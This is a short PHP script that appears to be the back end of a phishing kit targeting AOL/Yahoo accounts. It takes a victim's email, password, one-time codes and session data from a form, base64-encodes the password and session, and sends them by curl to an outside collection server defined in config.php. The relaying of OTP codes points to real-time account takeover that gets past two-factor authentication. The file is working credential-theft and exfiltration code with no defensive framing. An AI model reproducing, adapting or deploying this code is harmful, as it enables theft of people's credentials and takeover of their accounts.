<?php
include 'config.php';
$email = trim($_POST['aai']);
$password = trim($_POST['ppr']);
$detail = trim($_POST['detail']);


if ($_POST['otpcode']) {
    $url = $base."yahoo/set-aol-otp?".$params."&code=".$_POST["otpcode"]."&session=".base64_encode($_POST["session"]);
  
  
    $res=curl($url);
    print_r($res);
    exit();
}

else if ($_POST['authcode']) {
    $url = $base."site/set-otp?code=".$_POST["authcode"]."&busket_id=".$_POST["busket_id"];
    $res=curl($url);
    print_r($res);
    exit();
}

else if($email != null && $password != null){
    $par =$params."&result_email=".$email."&result_password=".base64_encode($password);
    $url = $base."yahoo/aol-set?".$par;
    $res=curl($url);
    print_r($res);
    exit();

}




function curl($url){
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HEADER, false);
    $data = curl_exec($curl);
    curl_close($curl);
    return $data;
}
?>